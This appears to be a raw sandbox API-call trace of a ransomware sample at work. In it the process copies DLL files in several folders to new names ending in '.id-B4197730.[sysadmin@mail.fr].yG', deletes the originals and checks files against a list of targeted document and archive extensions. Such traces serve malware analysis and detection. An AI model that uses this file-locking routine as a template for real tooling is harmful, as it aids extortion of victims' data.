	[0041.987] CloseHandle (hObject=0x33c) returned 1
	[0041.988] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80
	[0041.988] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0041.988] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.988] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.026] GetLastError () returned 0x0
	[0042.026] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0042.085] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0042.086] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.086] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.086] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.087] CloseHandle (hObject=0x2fc) returned 1
	[0042.088] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.088] SetEndOfFile (hFile=0x33c) returned 1
	[0042.089] CloseHandle (hObject=0x33c) returned 1
	[0042.089] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.089] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1
	[0042.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.090] lstrlenW (lpString=".doc") returned 4
	[0042.090] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.090] lstrlenW (lpString=".docx") returned 5
	[0042.090] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.090] lstrlenW (lpString=".pdf") returned 4
	[0042.090] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.090] lstrlenW (lpString=".xls") returned 4
	[0042.090] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.090] lstrlenW (lpString=".xlsx") returned 5
	[0042.090] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.090] lstrlenW (lpString=".ppt") returned 4
	[0042.090] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.090] lstrlenW (lpString=".zip") returned 4
	[0042.090] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.090] lstrlenW (lpString=".rar") returned 4
	[0042.090] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.090] lstrlenW (lpString=".bz2") returned 4
	[0042.090] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.090] lstrlenW (lpString=".7z") returned 3
	[0042.090] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.090] lstrlenW (lpString=".dbf") returned 4
	[0042.090] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.090] lstrlenW (lpString=".1cd") returned 4
	[0042.090] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.090] lstrlenW (lpString=".jpg") returned 4
	[0042.090] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.091] lstrlenW (lpString=".doc") returned 4
	[0042.091] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.091] lstrlenW (lpString=".docx") returned 5
	[0042.091] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.091] lstrlenW (lpString=".pdf") returned 4
	[0042.091] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.091] lstrlenW (lpString=".xls") returned 4
	[0042.091] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.091] lstrlenW (lpString=".xlsx") returned 5
	[0042.091] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.091] lstrlenW (lpString=".ppt") returned 4
	[0042.091] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.091] lstrlenW (lpString=".zip") returned 4
	[0042.091] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.091] lstrlenW (lpString=".rar") returned 4
	[0042.091] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.091] lstrlenW (lpString=".bz2") returned 4
	[0042.091] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.091] lstrlenW (lpString=".7z") returned 3
	[0042.091] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.091] lstrlenW (lpString=".dbf") returned 4
	[0042.091] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.091] lstrlenW (lpString=".1cd") returned 4
	[0042.091] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0042.091] lstrlenW (lpString=".jpg") returned 4
	[0042.091] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.091] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.092] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0042.092] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=17752) returned 1
	[0042.092] CloseHandle (hObject=0x33c) returned 1
	[0042.092] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80
	[0042.092] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0042.092] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.092] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0042.155] GetLastError () returned 0x0
	[0042.155] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4558, lpOverlapped=0x0) returned 1
	[0042.176] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4560, lpOverlapped=0x0) returned 1
	[0042.178] ReadFile (in: hFile=0x33c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.178] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.178] SetEndOfFile (hFile=0x2e8) returned 1
	[0042.178] CloseHandle (hObject=0x2e8) returned 1
	[0042.179] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.179] SetEndOfFile (hFile=0x33c) returned 1
	[0042.180] CloseHandle (hObject=0x33c) returned 1
	[0042.180] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.387] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1
	[0042.387] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.387] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.387] lstrlenW (lpString=".doc") returned 4
	[0042.387] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.387] lstrlenW (lpString=".docx") returned 5
	[0042.387] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.387] lstrlenW (lpString=".pdf") returned 4
	[0042.387] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.387] lstrlenW (lpString=".xls") returned 4
	[0042.387] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.387] lstrlenW (lpString=".xlsx") returned 5
	[0042.387] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.387] lstrlenW (lpString=".ppt") returned 4
	[0042.387] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.387] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.387] lstrlenW (lpString=".zip") returned 4
	[0042.387] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.387] lstrlenW (lpString=".rar") returned 4
	[0042.387] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.387] lstrlenW (lpString=".bz2") returned 4
	[0042.387] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.387] lstrlenW (lpString=".7z") returned 3
	[0042.387] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.387] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString=".dbf") returned 4
	[0042.388] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString=".1cd") returned 4
	[0042.388] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString=".jpg") returned 4
	[0042.388] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString=".doc") returned 4
	[0042.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.388] lstrlenW (lpString=".docx") returned 5
	[0042.388] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.388] lstrlenW (lpString=".pdf") returned 4
	[0042.388] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.388] lstrlenW (lpString=".xls") returned 4
	[0042.388] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.388] lstrlenW (lpString=".xlsx") returned 5
	[0042.388] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.388] lstrlenW (lpString=".ppt") returned 4
	[0042.388] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString=".zip") returned 4
	[0042.388] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.388] lstrlenW (lpString=".rar") returned 4
	[0042.388] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.388] lstrlenW (lpString=".bz2") returned 4
	[0042.388] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.388] lstrlenW (lpString=".7z") returned 3
	[0042.388] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString=".dbf") returned 4
	[0042.388] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.388] lstrlenW (lpString=".1cd") returned 4
	[0042.388] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.389] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0042.389] lstrlenW (lpString=".jpg") returned 4
	[0042.389] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.389] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.389] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.389] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0042.389] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=18776) returned 1
	[0042.389] CloseHandle (hObject=0x2d0) returned 1
	[0042.389] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80
	[0042.389] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.389] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0042.389] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.389] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.389] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0042.391] GetLastError () returned 0x0
	[0042.391] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0042.548] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0042.549] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.549] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.549] SetEndOfFile (hFile=0x2ec) returned 1
	[0042.550] CloseHandle (hObject=0x2ec) returned 1
	[0042.550] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.550] SetEndOfFile (hFile=0x2d0) returned 1
	[0042.551] CloseHandle (hObject=0x2d0) returned 1
	[0042.551] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.551] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString=".doc") returned 4
	[0042.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString=".docx") returned 5
	[0042.552] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.552] lstrlenW (lpString=".pdf") returned 4
	[0042.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString=".xls") returned 4
	[0042.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString=".xlsx") returned 5
	[0042.552] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.552] lstrlenW (lpString=".ppt") returned 4
	[0042.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString=".zip") returned 4
	[0042.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString=".rar") returned 4
	[0042.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString=".bz2") returned 4
	[0042.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.552] lstrlenW (lpString=".7z") returned 3
	[0042.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString=".dbf") returned 4
	[0042.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString=".1cd") returned 4
	[0042.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString=".jpg") returned 4
	[0042.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.552] lstrlenW (lpString=".doc") returned 4
	[0042.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.552] lstrlenW (lpString=".docx") returned 5
	[0042.553] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.553] lstrlenW (lpString=".pdf") returned 4
	[0042.553] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.553] lstrlenW (lpString=".xls") returned 4
	[0042.553] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.553] lstrlenW (lpString=".xlsx") returned 5
	[0042.553] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.553] lstrlenW (lpString=".ppt") returned 4
	[0042.553] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.553] lstrlenW (lpString=".zip") returned 4
	[0042.553] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.553] lstrlenW (lpString=".rar") returned 4
	[0042.553] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.553] lstrlenW (lpString=".bz2") returned 4
	[0042.553] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.553] lstrlenW (lpString=".7z") returned 3
	[0042.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.553] lstrlenW (lpString=".dbf") returned 4
	[0042.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.553] lstrlenW (lpString=".1cd") returned 4
	[0042.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0042.553] lstrlenW (lpString=".jpg") returned 4
	[0042.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.553] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.553] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.553] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0042.554] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=18776) returned 1
	[0042.554] CloseHandle (hObject=0x2d0) returned 1
	[0042.554] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80
	[0042.554] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.554] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0042.554] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.554] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.554] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0042.626] GetLastError () returned 0x0
	[0042.626] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0042.687] WriteFile (in: hFile=0x300, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4960, lpOverlapped=0x0) returned 1
